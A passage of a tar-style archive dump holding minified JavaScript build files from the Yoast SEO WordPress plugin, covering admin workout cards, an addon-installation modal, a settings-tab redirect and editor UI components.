unlinked content to make sure people can find it","wordpress-seo"),usps:[(0,c.__)("Make pages easier for Google and visitors to find","wordpress-seo"),(0,c.__)("Add internal links to your posts and pages","wordpress-seo")],image:M,finishableSteps:f.orphaned,finishedSteps:s,upsellLink:i,upsellText:n,workout:e,badges:a})}g.propTypes={workout:l().func,badges:l().arrayOf(l().element),upsellLink:l().string,upsellText:l().string},g.defaultProps={workout:null,badges:[],upsellLink:null,upsellText:null},window.yoast=window.yoast||{},window.yoast.adminModules={components:{workouts:{CornerstoneWorkoutCard:z,OrphanedWorkoutCard:g}}}})();wordpress-seo/js/dist/addon-installation.js000064400000010052147510273070015065 0ustar00(()=>{"use strict";var e={n:n=>{var t=n&&n.__esModule?()=>n.default:()=>n;return e.d(t,{a:t}),t},d:(n,t)=>{for(var o in t)e.o(t,o)&&!e.o(n,o)&&Object.defineProperty(n,o,{enumerable:!0,get:t[o]})},o:(e,n)=>Object.prototype.hasOwnProperty.call(e,n)};const n=window.React,t=window.wp.element,o=window.yoast.propTypes;var a=e.n(o);const s=window.yoast.componentsNew,l=window.wp.i18n,i=window.yoast.styledComponents;var r=e.n(i);const d=window.wp.components,c=e=>{const{title:t,className:o,showYoastIcon:a,additionalClassName:s,...l}=e,i=a?(0,n.createElement)("span",{className:"yoast-icon"}):null;return(0,n.createElement)(d.Modal,{title:t,className:`${o} ${s}`,icon:i,...l},e.children)};c.propTypes={title:a().string,className:a().string,showYoastIcon:a().bool,children:a().oneOfType([a().node,a().arrayOf(a().node)]),additionalClassName:a().string},c.defaultProps={title:"Yoast SEO",className:"yoast yoast-gutenberg-modal",showYoastIcon:!0,children:null,additionalClassName:""};const p=c;var m,w;function u(){return u=Object.assign?Object.assign.bind():function(e){for(var n=1;n<arguments.length;n++){var t=arguments[n];for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e},u.apply(this,arguments)}const h=e=>n.createElement("svg",u({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 425 456.27"},e),m||(m=n.createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"})),w||(w=n.createElement("path",{stroke:"#000",strokeMiterlimit:10,strokeWidth:3.81,d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z"}))),y=r().div`
	display: flex;
	justify-content: flex-end;
	gap: 8px;
`,f=e=>{const[o,a]=(0,t.useState)(!0);function i(){a(!1)}const r=(0,l.sprintf)(/* translators: %s expands to Yoast */
(0,l.__)("%s SEO installation","wordpress-seo"),"Yoast");let d,c=(0,l.__)("the following addons","wordpress-seo");return 1===e.addons.length&&(c=e.addons[0]),1!==e.addons.length&&(d=(0,n.createElement)("ul",{className:"ul-disc"},e.addons.map(((e,t)=>(0,n.createElement)("li",{key:"addon-"+t},e))))),o?(0,n.createElement)(p,{title:r,onRequestClose:i,icon:(0,n.createElement)(h,null),isDismissible:!1},(0,n.createElement)("p",null,(0,l.sprintf)(/* translators: %s expands to Yoast SEO Premium */
(0,l.__)("Please confirm below that you would like to install %s on this site.","wordpress-seo"),c)),d,(0,n.createElement)(y,null,(0,n.createElement)(s.Button,{onClick:i,id:"close-addon-installation-dialog"},(0,l.__)("Cancel","wordpress-seo")),(0,n.createElement)(s.Button,{onClick:function(){window.location.href="admin.php?page=wpseo_licenses&action=install&nonce="+e.nonce},id:"continue-addon-installation-dialog",className:"yoast-button--primary"},(0,l.__)("Install and activate","wordpress-seo")))):null};f.propTypes={nonce:a().string.isRequired,addons:a().array},f.defaultProps={addons:[]};const g=f,v=document.createElement("div");v.setAttribute("id","wpseo-app-element"),document.getElementById("extensions").append(v),(0,t.render)((0,n.createElement)(g,{nonce:wpseoAddonInstallationL10n.nonce,addons:wpseoAddonInstallationL10n.addons}),v)})();wordpress-seo/js/dist/redirect-old-features-tab.js000064400000000355147510273070016243 0ustar00window.wpseoRedirectOldFeaturesTabToNewSettings=function(){if("#top#features"===window.location.hash){const e=window.location.href.replace("wpseo_dashboard#top#features","wpseo_page_settings#/site-features");window.location.replace(e)}};wordpress-seo/js/dist/editor-modules.js000064400000246124147510273070014250 0ustar00(()=>{"use strict";var e={6746:(e,t,s)=>{var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=i(s(9196)),o=i(s(9156)),a=i(s(6743));function i(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function c(e,t){var s,a,i,u,d,p,h,m,g=[],y={};for(p=0;p<e.length;p++)if("string"!==(d=e[p]).type){if(!t.hasOwnProperty(d.value)||void 0===t[d.value])throw new Error("Invalid interpolation, missing component node: `"+d.value+"`");if("object"!==r(t[d.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+d.value+"`","\n> "+l);if("componentClose"===d.type)throw new Error("Missing opening component token: `"+d.value+"`");if("componentOpen"===d.type){s=t[d.value],i=p;break}g.push(t[d.value])}else g.push(d.value);return s&&(u=function(e,t){var s,r,n=t[e],o=0;for(r=e+1;r<t.length;r++)if((s=t[r]).value===n.value){if("componentOpen"===s.type){o++;continue}if("componentClose"===s.type){if(0===o)return r;o--}}throw new Error("Missing closing component token `"+n.value+"`")}(i,e),h=c(e.slice(i+1,u),t),a=n.default.cloneElement(s,{},h),g.push(a),u<e.length-1&&(m=c(e.slice(u+1),t),g=g.concat(m))),1===g.length?g[0]:(g.forEach((function(e,t){e&&(y["interpolation-child-"+t]=e)})),(0,o.default)(y))}t.Z=function(e){var t=e.mixedString,s=e.components,n=e.throwErrors;if(l=t,!s)return t;if("object"!==(void 0===s?"undefined":r(s))){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var o=(0,a.default)(t);try{return c(o,s)}catch(e){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},6743:e=>{function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},9156:(e,t,s)=>{var r=s(9196),n="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,o=s(7942),a=s(9179),i=s(397),l=".",c=":",u="function"==typeof Symbol&&Symbol.iterator,d="@@iterator";function p(e,t){return e&&"object"==typeof e&&null!=e.key?(s=e.key,r={"=":"=0",":":"=2"},"$"+(""+s).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var s,r}function h(e,t,s,r){var o,i=typeof e;if("undefined"!==i&&"boolean"!==i||(e=null),null===e||"string"===i||"number"===i||"object"===i&&e.$$typeof===n)return s(r,e,""===t?l+p(e,0):t),1;var m=0,g=""===t?l:t+c;if(Array.isArray(e))for(var y=0;y<e.length;y++)m+=h(o=e[y],g+p(o,y),s,r);else{var f=function(e){var t=e&&(u&&e[u]||e[d]);if("function"==typeof t)return t}(e);if(f)for(var b,w=f.call(e),k=0;!(b=w.next()).done;)m+=h(o=b.value,g+p(o,k++),s,r);else if("object"===i){var v=""+e;a(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===v?"object with keys {"+Object.keys(e).join(", ")+"}":v,"")}}return m}var m=/\/+/g;function g(e){return(""+e).replace(m,"$&/")}var y,f,b=w,w=function(e){var t=this;if(t.instancePool.length){var s=t.instancePool.pop();return t.call(s,e),s}return new t(e)};function k(e,t,s,r){this.result=e,this.keyPrefix=t,this.func=s,this.context=r,this.count=0}function v(e,t,s){var n,a,i=e.result,l=e.keyPrefix,c=e.func,u=e.context,d=c.call(u,t,e.count++);Array.isArray(d)?E(d,i,s,o.thatReturnsArgument):null!=d&&(r.isValidElement(d)&&(n=d,a=l+(!d.key||t&&t.key===d.key?"":g(d.key)+"/")+s,d=r.cloneElement(n,{key:a},void 0!==n.props?n.props.children:void 0)),i.push(d))}function E(e,t,s,r,n){var o="";null!=s&&(o=g(s)+"/");var a=k.getPooled(t,o,r,n);!function(e,t,s){null==e||h(e,"",t,s)}(e,v,a),k.release(a)}k.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},y=function(e,t,s,r){var n=this;if(n.instancePool.length){var o=n.instancePool.pop();return n.call(o,e,t,s,r),o}return new n(e,t,s,r)},(f=k).instancePool=[],f.getPooled=y||b,f.poolSize||(f.poolSize=10),f.release=function(e){var t=this;a(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return i(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return i(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;a(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var s in e)E(e[s],t,s,o.thatReturnsArgument);return t}},7942:e=>{function t(e){return function(){return e}}var s=function(){};s.thatReturns=t,s.thatReturnsFalse=t(!1),s.thatReturnsTrue=t(!0),s.thatReturnsNull=t(null),s.thatReturnsThis=function(){return this},s.thatReturnsArgument=function(e){return e},e.exports=s},9179:e=>{e.exports=function(e,t,s,r,n,o,a,i){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[s,r,n,o,a,i],u=0;(l=new Error(t.replace(/%s/g,(function(){return c[u++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},397:(e,t,s)=>{var r=s(7942);e.exports=r},9196:e=>{e.exports=window.React}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var o=t[r]={exports:{}};return e[r](o,o.exports,s),o.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e={};s.r(e),s.d(e,{refreshDelay:()=>l});var t={};s.r(t),s.d(t,{default:()=>b,initializationDone:()=>w,sortResultsByIdentifier:()=>f});var r={};s.r(r),s.d(r,{default:()=>U,getIconForScore:()=>z});var n={};s.r(n),s.d(n,{doAjaxRequest:()=>As});var o={};s.r(o),s.d(o,{setTextdomainL10n:()=>js});var a={};s.r(a),s.d(a,{applyReplaceUsingPlugin:()=>ir,createLabelFromName:()=>Js,excerptFromContent:()=>ar,fillReplacementVariables:()=>Xs,handlePrefixes:()=>Zs,mapCustomFields:()=>or,mapCustomTaxonomies:()=>nr,nonReplaceVars:()=>Qs,prepareCustomFieldForDispatch:()=>sr,prepareCustomTaxonomyForDispatch:()=>rr,pushNewReplaceVar:()=>er,replaceSpaces:()=>tr});const i=window.yoast.externals.contexts,l=500,c=window.lodash;function u(){return(0,c.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}const d=window.wp.i18n,p=window.yoast.analysis,h=window.wp.hooks,m=window.yoast.externals.redux;function g(){}let y=!1;function f(e){return e.sort(((e,t)=>e._identifier.localeCompare(t._identifier)))}function b(e,t,s,r,n){if(!y)return;const o=p.Paper.parse(t());e.analyze(o).then((a=>{const{result:{seo:i,readability:l,inclusiveLanguage:c}}=a;if(i){const e=i[""];e.results.forEach((e=>{e.getMarker=()=>()=>s(o,e.marks)})),e.results=f(e.results),r.dispatch(m.actions.setSeoResultsForKeyword(o.getKeyword(),e.results)),r.dispatch(m.actions.setOverallSeoScore(e.score,o.getKeyword())),r.dispatch(m.actions.refreshSnippetEditor()),n.saveScores(e.score,o.getKeyword())}l&&(l.results.forEach((e=>{e.getMarker=()=>()=>s(o,e.marks)})),l.results=f(l.results),r.dispatch(m.actions.setReadabilityResults(l.results)),r.dispatch(m.actions.setOverallReadabilityScore(l.score)),r.dispatch(m.actions.refreshSnippetEditor()),n.saveContentScore(l.score)),c&&(c.results.forEach((e=>{e.getMarker=()=>()=>s(o,e.marks)})),c.results=f(c.results),r.dispatch(m.actions.setInclusiveLanguageResults(c.results)),r.dispatch(m.actions.setOverallInclusiveLanguageScore(c.score)),r.dispatch(m.actions.refreshSnippetEditor()),n.saveInclusiveLanguageScore(c.score)),(0,h.doAction)("yoast.analysis.refresh",a,{paper:o,worker:e,collectData:t,applyMarks:s,store:r,dataCollector:n})})).catch(g)}function w(){y=!0}var k=s(9196);const v=window.wp.element,E=window.yoast.styledComponents;var R=s.n(E);const x=window.yoast.propTypes;var _=s.n(x);const I=window.yoast.componentsNew,S=window.yoast.helpers,T=window.yoast.styleGuide,L=T.colors.$color_bad,C=T.colors.$palette_error_background,q=T.colors.$color_grey_text_light,P=T.colors.$palette_error_text,A=R().div`
	display: flex;
	flex-direction: column;
`,O=R().label`
	font-size: var(--yoast-font-size-default);
	font-weight: var(--yoast-font-weight-bold);
	${(0,S.getDirectionalStyle)("margin-right: 4px","margin-left: 4px")};
`,F=R().span`
	margin-bottom: 0.5em;
`,N=R()(I.InputField)`
	flex: 1 !important;
	box-sizing: border-box;
	max-width: 100%;
	margin: 0; // Reset margins inherited from WordPress.

	// Hide native X in Edge and IE11.
	&::-ms-clear {
		display: none;
	}

	&.has-error {
		border-color: ${L} !important;
		background-color: ${C} !important;

		&:focus {
			box-shadow: 0 0 2px ${L} !important;
		}
	}
`,B=R().ul`
	color: ${P};
	list-style-type: disc;
	list-style-position: outside;
	margin: 0;
	margin-left: 1.2em;
`,M=R().li`
	color: ${P};
	margin: 0 0 0.5em 0;
`,K=(0,I.addFocusStyle)(R().button`
		border: 1px solid transparent;
		box-shadow: none;
		background: none;
		flex: 0 0 32px;
		height: 32px;
		max-width: 32px;
		padding: 0;
		cursor: pointer;
	`);K.propTypes={type:_().string,focusColor:_().string,focusBackgroundColor:_().string,focusBorderColor:_().string},K.defaultProps={type:"button",focusColor:T.colors.$color_button_text_hover,focusBackgroundColor:"transparent",focusBorderColor:T.colors.$color_blue};const D=R()(I.SvgIcon)`
	margin-top: 4px;
`,$=R().div`
	display: flex;
	flex-direction: row;
	align-items: center;

	&.has-remove-keyword-button {
		${N} {
			${(0,S.getDirectionalStyle)("padding-right: 40px","padding-left: 40px")};
		}

		${K} {
			${(0,S.getDirectionalStyle)("margin-left: -32px","margin-right: -32px")};
		}
	}
`;class W extends v.Component{constructor(e){super(e),this.handleChange=this.handleChange.bind(this)}handleChange(e){this.props.onChange(e.target.value)}renderLabel(){const{id:e,label:t,helpLink:s}=this.props;return(0,k.createElement)(F,null,(0,k.createElement)(O,{htmlFor:e},t),s)}renderErrorMessages(){const e=[...this.props.errorMessages];return!(0,c.isEmpty)(e)&&(0,k.createElement)(B,null,e.map(((e,t)=>(0,k.createElement)(M,{key:t},(0,k.createElement)("span",{role:"alert"},e)))))}render(){const{id:e,showLabel:t,keyword:s,onRemoveKeyword:r,onBlurKeyword:n,onFocusKeyword:o,hasError:a}=this.props,i=!t,l=r!==c.noop;return(0,k.createElement)(A,null,t&&this.renderLabel(),a&&this.renderErrorMessages(),(0,k.createElement)($,{className:l?"has-remove-keyword-button":null},(0,k.createElement)(N,{"aria-label":i?this.props.label:null,type:"text",id:e,className:a?"has-error":null,onChange:this.handleChange,onFocus:o,onBlur:n,value:s,autoComplete:"off"}),l&&(0,k.createElement)(K,{onClick:r,focusBoxShadowColor:"#084A67"},(0,k.createElement)(D,{size:"18px",icon:"times-circle",color:q}))))}}W.propTypes={id:_().string.isRequired,showLabel:_().bool,keyword:_().string,onChange:_().func.isRequired,onRemoveKeyword:_().func,onBlurKeyword:_().func,onFocusKeyword:_().func,label:_().string.isRequired,helpLink:_().node,hasError:_().bool,errorMessages:_().arrayOf(_().string)},W.defaultProps={showLabel:!0,keyword:"",onRemoveKeyword:c.noop,onBlurKeyword:c.noop,onFocusKeyword:c.noop,helpLink:null,hasError:!1,errorMessages:[]};const j=W;function H(e,t=""){const s=e.getIdentifier(),r={score:e.score,rating:p.interpreters.scoreToRating(e.score),hasMarks:e.hasMarks(),marker:e.getMarker(),id:s,text:e.text,markerId:t.length>0?`${t}:${s}`:s,hasBetaBadge:e.hasBetaBadge(),hasJumps:e.hasJumps(),hasAIFixes:e.hasAIFixes(),editFieldName:e.editFieldName};return"ok"===r.rating&&(r.rating="OK"),r}function Y(e,t){switch(e.rating){case"error":t.errorsResults.push(e);break;case"feedback":t.considerationsResults.push(e);break;case"bad":t.problemsResults.push(e);break;case"OK":t.improvementsResults.push(e);break;case"good":t.goodResults.push(e)}return t}function z(e){switch(e){case"loading":return{icon:"loading-spinner",color:T.colors.$color_green_medium_light};case"not-set":return{icon:"seo-score-none",color:T.colors.$color_score_icon};case"noindex":return{icon:"seo-score-none",color:T.colors.$color_noindex};case"good":return{icon:"seo-score-good",color:T.colors.$color_green_medium};case"ok":return{icon:"seo-score-ok",color:T.colors.$color_ok};default:return{icon:"seo-score-bad",color:T.colors.$color_red}}}function U(e,t=""){let s={errorsResults:[],problemsResults:[],improvementsResults:[],goodResults:[],considerationsResults:[]};if(!e)return s;for(let r=0;r<e.length;r++){const n=e[r];n.text&&(s=Y(H(n,t),s))}return s}const V=(0,S.makeOutboundLink)(R().a`
	display: inline-block;
	position: relative;
	outline: none;
	text-decoration: none;
	border-radius: 100%;
	width: 24px;
	height: 24px;
	margin: -4px 0;
	vertical-align: middle;

	color: ${T.colors.$color_help_text};
	
	&:hover,
	&:focus {
		color: ${T.colors.$color_snippet_focus};	
	}
	
	// Overwrite the default blue active color for links.
	&:active {
		color: ${T.colors.$color_help_text};	
	}

	&::before {
		position: absolute;
		top: 0;
		left: 0;
		padding: 2px;
		content: "\f223";
	}
`),G=R()(I.Collapsible)`
	h2 > button {
		padding-left: 24px;
		padding-top: 16px;

		&:hover {
			background-color: #f0f0f0;
		}
	}

	div[class^="collapsible_content"] {
		padding: 24px 0;
		margin: 0 24px;
		border-top: 1px solid rgba(0,0,0,0.2);
	}

`,Q=window.wp.components,X="yoast yoast-gutenberg-modal",Z=e=>{const{title:t,className:s,showYoastIcon:r,additionalClassName:n,...o}=e,a=r?(0,k.createElement)("span",{className:"yoast-icon"}):null;return(0,k.createElement)(Q.Modal,{title:t,className:`${s} ${n}`,icon:a,...o},e.children)};Z.propTypes={title:_().string,className:_().string,showYoastIcon:_().bool,children:_().oneOfType([_().node,_().arrayOf(_().node)]),additionalClassName:_().string},Z.defaultProps={title:"Yoast SEO",className:X,showYoastIcon:!0,children:null,additionalClassName:""};const J=Z,ee=(window.yoast.socialMetadataForms,e=>({type:e.subtype,width:e.width,height:e.height,url:e.url,id:e.id,sizes:e.sizes,alt:e.alt||e.title||e.name}));const te=({hiddenField:e,hiddenFieldImageId:t,hiddenFieldFallbackImageId:s,hasImageValidation:r,...n})=>{const[o,a]=(0,v.useState)(null!==document.getElementById(s)),i=(0,v.useMemo)((()=>document.getElementById(e))),l=(0,v.useMemo)((()=>document.getElementById(t)));let c=null;c=s&&document.getElementById(s)?(0,v.useMemo)((()=>document.getElementById(s))):l;const[u,d]=(0,v.useState)({url:i?i.value:"",id:c?parseInt(c.value,10):"",alt:""}),[p,h]=(0,v.useState)([]),m=(0,v.useCallback)((e=>{i&&(i.value=e.url),c&&(c.value=e.id)})),g=(0,v.useCallback)((()=>{(function(e){const t=window.wp.media();return t.on("select",(()=>{const s=t.state().get("selection").first();e(ee(s.attributes))})),t})((e=>{c=l,d(e),m(e),r&&h((0,S.validateFacebookImage)(e)),a(!1)})).open()}),[r,m]),y=(0,v.useCallback)((()=>{c=l;const e={url:"",id:"",alt:""};d(e),m(e),h([]),a(!0)}),[m]);return(0,v.useEffect)((()=>{var e;u.id&&!u.alt&&(e=u.id,new Promise(((t,s)=>{window.wp.media.attachment||s(),window.wp.media.attachment(e).fetch().then((e=>{t(ee(e))})).catch((()=>s()))}))).then((e=>d(e)))}),[u]),(0,k.createElement)(I.ImageSelect,{...n,usingFallback:o,imageUrl:u.url,imageId:u.id,imageAltText:u.alt,onClick:g,onRemoveImageClick:y,warnings:p})};te.propTypes={hiddenField:_().string.isRequired,hiddenFieldImageId:_().string,hiddenFieldFallbackImageId:_().string,hasImageValidation:_().bool},te.defaultProps={hiddenFieldImageId:"",hiddenFieldFallbackImageId:"",hasImageValidation:!1};const se=te;function re({target:e,children:t}){let s=e;return"string"==typeof e&&(s=document.getElementById(e)),s?(0,v.createPortal)(t,s):null}function ne({target:e,label:t,hasPreview:s,hiddenField:r,hiddenFieldImageId:n,hiddenFieldFallbackImageId:o,selectImageButtonId:a,replaceImageButtonId:i,removeImageButtonId:l,hasNewBadge:c,isDisabled:u,hasPremiumBadge:d,hasImageValidation:p}){return(0,k.createElement)(re,{target:e},(0,k.createElement)(se,{label:t,hasPreview:s,hiddenField:r,hiddenFieldImageId:n,hiddenFieldFallbackImageId:o,selectImageButtonId:a,replaceImageButtonId:i,removeImageButtonId:l,hasNewBadge:c,isDisabled:u,hasPremiumBadge:d,hasImageValidation:p}))}re.propTypes={target:_().oneOfType([_().string,_().object]).isRequired,children:_().node.isRequired},ne.propTypes={target:_().string.isRequired,label:_().string.isRequired,hasPreview:_().bool.isRequired,hiddenField:_().string.isRequired,hiddenFieldImageId:_().string,hiddenFieldFallbackImageId:_().string,selectImageButtonId:_().string,replaceImageButtonId:_().string,removeImageButtonId:_().string,hasNewBadge:_().bool,isDisabled:_().bool,hasPremiumBadge:_().bool,hasImageValidation:_().bool},ne.defaultProps={hiddenFieldImageId:"",hiddenFieldFallbackImageId:"",selectImageButtonId:"",replaceImageButtonId:"",removeImageButtonId:"",hasNewBadge:!1,isDisabled:!1,hasPremiumBadge:!1,hasImageValidation:!1};const oe=({target:e,scoreIndicator:t})=>(0,k.createElement)(re,{target:e},(0,k.createElement)(I.SvgIcon,{...z(t)}));oe.propTypes={target:_().string.isRequired,scoreIndicator:_().string.isRequired};const ae=oe,ie=e=>{const[t,s]=(0,v.useState)(!1),{prefixIcon:r}=e;return(0,k.createElement)("div",{className:"yoast components-panel__body "+(t?"is-opened":"")},(0,k.createElement)("h2",{className:"components-panel__body-title"},(0,k.createElement)("button",{onClick:function(){s(!t)},className:"components-button components-panel__body-toggle",type:"button",id:e.buttonId},(0,k.createElement)("span",{className:"yoast-icon-span",style:{fill:`${r&&r.color||""}`}},r&&(0,k.createElement)(I.SvgIcon,{icon:r.icon,color:r.color,size:r.size})),(0,k.createElement)("span",{className:"yoast-title-container"},(0,k.createElement)("div",{className:"yoast-title"},e.title),(0,k.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.hasBetaBadgeLabel&&(0,k.createElement)(I.BetaBadge,null),(0,k.createElement)("span",{className:"yoast-chevron","aria-hidden":"true"}))),t&&e.children)},le=ie;ie.propTypes={title:_().string.isRequired,children:_().oneOfType([_().node,_().arrayOf(_().node)]).isRequired,prefixIcon:_().object,subTitle:_().string,hasBetaBadgeLabel:_().bool,buttonId:_().string},ie.defaultProps={prefixIcon:null,subTitle:"",hasBetaBadgeLabel:!1,buttonId:null};const ce=({children:e})=>(0,k.createElement)("div",null,e);ce.propTypes={renderPriority:_().number.isRequired,children:_().node.isRequired};const ue=ce,de=({theme:e,location:t,children:s})=>(0,k.createElement)(i.LocationProvider,{value:t},(0,k.createElement)(E.ThemeProvider,{theme:e},s));de.propTypes={theme:_().object.isRequired,location:_().oneOf(["sidebar","metabox","modal"]).isRequired,children:_().element.isRequired};const pe=de,he=window.wp.compose,me=window.wp.data,ge=e=>(0,k.createElement)("div",{className:"yoast components-panel__body"},(0,k.createElement)("h2",{className:"components-panel__body-title"},(0,k.createElement)("button",{id:e.id,onClick:e.onClick,className:"components-button components-panel__body-toggle",type:"button"},e.prefixIcon&&(0,k.createElement)("span",{className:"yoast-icon-span",style:{fill:`${e.prefixIcon&&e.prefixIcon.color||""}`}},(0,k.createElement)(I.SvgIcon,{size:e.prefixIcon.size,icon:e.prefixIcon.icon})),(0,k.createElement)("span",{className:"yoast-title-container"},(0,k.createElement)("div",{className:"yoast-title"},e.title),(0,k.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.children,e.suffixIcon&&(0,k.createElement)(I.SvgIcon,{size:e.suffixIcon.size,icon:e.suffixIcon.icon}),e.SuffixHeroIcon))),ye=ge;ge.propTypes={onClick:_().func.isRequired,title:_().string.isRequired,id:_().string,subTitle:_().string,suffixIcon:_().object,SuffixHeroIcon:_().object,prefixIcon:_().object,children:_().node},ge.defaultProps={id:"",suffixIcon:null,SuffixHeroIcon:null,prefixIcon:null,subTitle:"",children:null};const fe=({id:e,postTypeName:t,children:s,title:r,isOpen:n,close:o,open:a,shouldCloseOnClickOutside:l,showChangesWarning:c,SuffixHeroIcon:u})=>(0,k.createElement)(v.Fragment,null,n&&(0,k.createElement)(i.LocationProvider,{value:"modal"},(0,k.createElement)(J,{title:r,onRequestClose:o,additionalClassName:"yoast-collapsible-modal yoast-post-settings-modal",id:"id",shouldCloseOnClickOutside:l},(0,k.createElement)("div",{className:"yoast-content-container"},(0,k.createElement)("div",{className:"yoast-modal-content"},s)),(0,k.createElement)("div",{className:"yoast-notice-container"},(0,k.createElement)("hr",null),(0,k.createElement)("div",{className:"yoast-button-container"},c&&(0,k.createElement)("p",null,/* Translators: %s translates to the Post Label in singular form */
(0,d.sprintf)((0,d.__)("Make sure to save your %s for changes to take effect","wordpress-seo"),t)),(0,k.createElement)("button",{className:"yoast-button yoast-button--primary yoast-button--post-settings-modal",type:"button",onClick:o},/* Translators: %s translates to the Post Label in singular form */
(0,d.sprintf)((0,d.__)("Return to your %s","wordpress-seo"),t)))))),(0,k.createElement)(ye,{id:e+"-open-button",title:r,SuffixHeroIcon:u,suffixIcon:u?null:{size:"20px",icon:"pencil-square"},onClick:a}));fe.propTypes={id:_().string.isRequired,postTypeName:_().string.isRequired,children:_().oneOfType([_().node,_().arrayOf(_().node)]).isRequired,title:_().string.isRequired,isOpen:_().bool.isRequired,open:_().func.isRequired,close:_().func.isRequired,shouldCloseOnClickOutside:_().bool,showChangesWarning:_().bool,SuffixHeroIcon:_().object},fe.defaultProps={shouldCloseOnClickOutside:!0,showChangesWarning:!0};const be=fe,we=(0,he.compose)([(0,me.withSelect)(((e,t)=>{const{getPostOrPageString:s,getIsModalOpen:r}=e("yoast-seo/editor");return{postTypeName:s(),isOpen:r(t.id)}})),(0,me.withDispatch)(((e,t)=>{const{openEditorModal:s,closeEditorModal:r}=e("yoast-seo/editor");return{open:()=>s(t.id),close:r}}))])(be),ke=(0,he.compose)([(0,me.withSelect)(((e,t)=>{const{isAlertDismissed:s}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:s(t.alertKey)}})),(0,me.withDispatch)(((e,t)=>{const{dismissAlert:s}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>s(t.alertKey)}}))])(I.Alert),ve=window.yoast.analysisReport,Ee=window.yoast.uiLibrary,Re=k.forwardRef((function(e,t){return k.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),k.createElement("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"}))})),xe=(R().div`
	min-width: 600px;

	@media screen and ( max-width: 680px ) {
		min-width: 0;
		width: 86vw;
	}
`,R().div`
	@media screen and ( min-width: 600px ) {
		max-width: 420px;
	}
`),_e=(R()(I.Icon)`
	float: ${(0,S.getDirectionalStyle)("right","left")};
	margin: ${(0,S.getDirectionalStyle)("0 0 16px 16px","0 16px 16px 0")};

	&& {
		width: 150px;
		height: 150px;

		@media screen and ( max-width: 680px ) {
			width: 80px;
			height: 80px;
		}
